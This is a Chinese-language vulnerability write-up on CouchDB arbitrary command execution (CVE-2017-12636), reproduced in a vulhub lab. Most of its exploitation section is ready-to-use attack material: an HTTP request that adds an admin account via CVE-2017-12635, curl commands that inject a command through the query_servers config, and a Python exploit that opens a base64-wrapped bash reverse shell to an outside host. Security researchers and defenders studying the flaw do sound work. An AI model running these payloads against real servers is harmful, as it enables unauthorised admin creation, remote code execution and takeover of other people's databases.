couchdb 任意命令执行漏洞 cve-2017-12636
- Couchdb简介:
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
- 漏洞简介:
CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。CouchDB会默认会在5984端口开放Restful的API接口,用于数据库的管理功能。
那么,问题出在哪呢?翻阅官方描述会发现,CouchDB中有一个Query_Server的配置项,在官方文档中是这么描述的:
CouchDB delegates computation of design documents functions to external query servers. The external query server is a special OS process which communicates with CouchDB over standard input/output using a very simple line-based protocol with JSON messages.
直白点说,就是CouchDB允许用户指定一个二进制程序或者脚本,与CouchDB进行数据交互和处理,query_server在配置文件local.ini中的格式:
[query_servers]
LANGUAGE = PATH ARGS
默认情况下,配置文件中已经设置了两个query_servers:
[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js
可以看到,CouchDB在query_server中引入了外部的二进制程序来执行命令,如果我们可以更改这个配置,那么就可以利用数据库来执行命令了,但是这个配置是在local.ini文件中的,如何控制呢?
继续读官方的文档,发现了一个有意思的功能,CouchDB提供了一个API接口用来更改自身的配置,并把修改后的结果保存到配置文件中:
The CouchDB Server Configuration API provide an interface to query and update the various configuration values within a running CouchDB instance
也就是说,除了local.ini的配置文件,CouchDB允许通过自身提供的Restful API接口动态修改配置属性。结合以上两点,我们可以在一个未授权访问的CouchDB上,通过修改其query_server配置,来执行系统命令。
原文:https://blog.csdn.net/jiangbuliu/article/details/94029940
https://www.secpulse.com/archives/45917.html
- 漏洞影响范围:
Apache CouchDB小于 1.7.0 以及 小于 2.1.1
- 漏洞复现
[1] 使用vulhub搭建漏洞环境
cd /root/vulhub/couchdb/CVE-2017-12636 进入本次复现的vulhub目录docker-compose up -d docker-compose搭建环境
[2]启动完成后,访问http://your-ip:5984/即可看到Couchdb的欢迎页面。
[3]该漏洞是需要登录用户才可以触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户。使用burp或者curl命令发送如下请求包:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 172.20.10.4:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108{"type": "user","name": "vulhub","roles": ["_admin"],"roles": [],"password": "vulhub"
}
创建用户名为:vulhub;密码为:vulhub的用户。
[4]漏洞利用代码
> 1、新增query_server配置,写入要执行的命令:
curl -X PUT 'http://username:password@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
> 2、新建一个临时库和临时表,插入一条记录:
curl -X PUT 'http://username:password@your-ip:5984/vultest'
curl -X PUT 'http://username:password@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
> 3、调用query_server处理数据
curl -X POST 'http://username:password@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
第一个请求是添加一个名字为cmd的query_servers,其值为"id >/tmp/success",这就是我们后面待执行的命令。
第二、三个请求是添加一个Database和Document,这里添加了后面才能查询。
第四个请求就是在这个Database里进行查询,因为我将language设置为cmd,这里就会用到我第一步里添加的名为cmd的query_servers,最后触发命令执行。
exp(注意更改target、command、version):
#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuthtarget = 'http://192.168.11.140:5984'
command = rb"""bash -i >& /dev/tcp/192.168.11.1/8888 0>&1"""
version = 1session = requests.session()
session.headers = {'Content-Type': 'application/json'
}#session.proxies = {# 'http': 'http://127.0.0.1:8085'# }session.put(target + '/_users/org.couchdb.user:wooyun', data='''{"type": "user","name": "wooyun","roles": ["_admin"],"roles": [],"password": "wooyun"
}''')session.auth = HTTPBasicAuth('wooyun', 'wooyun')command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:host = session.get(target + '/_membership').json()['all_nodes'][0]session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')if version == 1:session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
couchdb 任意命令执行漏洞 cve-2017-12636相关推荐
- couchdb 任意命令执行漏洞(cve-2017-12636)
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和 ...
- Couchdb 任意命令执行漏洞(CVE-2017-12636)复现
简介 Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapRedu ...
- python直接执行代码漏洞_修复Python任意命令执行漏洞
Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...
- 漏洞payload 靶机_学生会私房菜【20200707期】Wordpress 4.6 任意命令执行漏洞
学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:<Wordpress 4.6 任意命令执行漏洞> 作者介绍:AT ...
- FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)
#FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...
- eyoucms 1.5.5任意命令执行漏洞(0day)
eyoucms 1.5.5任意命令执行漏洞 文章目录 eyoucms 1.5.5任意命令执行漏洞 一.漏洞简介 二.漏洞影响 三.复现过程 漏洞位置 漏洞分析 漏洞利用 一.漏洞简介 eyoucms1 ...
- wordpress 4.6任意命令执行漏洞(PwnScriptum)复现
今天继续给大家介绍渗透测试相关知识,本文主要内容是wordpress 4.6任意命令执行漏洞(PwnScriptum)复现. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为 ...
- TamronOS IPTV系统 ping 任意命令执行漏洞
TamronOS IPTV系统 ping 任意命令执行漏洞 目录 系统简介 漏洞描述 漏洞复现 总结 系统简介 TamronOS IPTV/VOD系统是一套基于Linux内核开发的宽带运营商.酒店.学 ...
- 通达OA v11.9 getdata任意命令执行漏洞复现+利用
1.产品简介 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台.包括流程审批.行政办 ...
最新文章
- PyQt主窗体设置停靠窗口(QDockWidget)的叠加顺序
- 生成浮点数列表:Python range():TypeError: ‘float‘ object cannot be interpreted as an integer
- PCB Editor 布线后操作
- c# 扩展方法奇思妙用高级篇一:改进 Scottgu 的 In 扩展
- CDS view里case - when - else关键字的用法
- 通过data目录恢复数据库数据(mysql5.7.22)
- java中怎么从键盘读取字符_java键盘读取字符
- Linux中Docker部署Tomcat
- 腾讯回应“QQ 冻结”;高德上线“家人地图”惹争议;Linux 内核讨论引入 Rust 代码| 极客头条...
- Linux实战问题解决方案(1):Could not get lock
- python逐行输出_python逐行输出
- $(document).ready
- Ubuntu下利用Wine安装AxureRP 8
- 【图文】Latex 中文字体的使用
- 少数者博弈 matlab,复杂网络中的少数者博弈研究
- 计算机网络专业认识和理解,计算机网络专业认识.docx
- 虚拟化服务器授权,VMware授权变相收费? 虚拟化一大障碍
- 4种Java引用浅解
- 英集芯IP5566带TYPE-C口3A充放快充移动电源5w无线充二合一方案SOC
- 机器人简化图画手绘图_如何画机器人的简笔画 经验告诉你该这样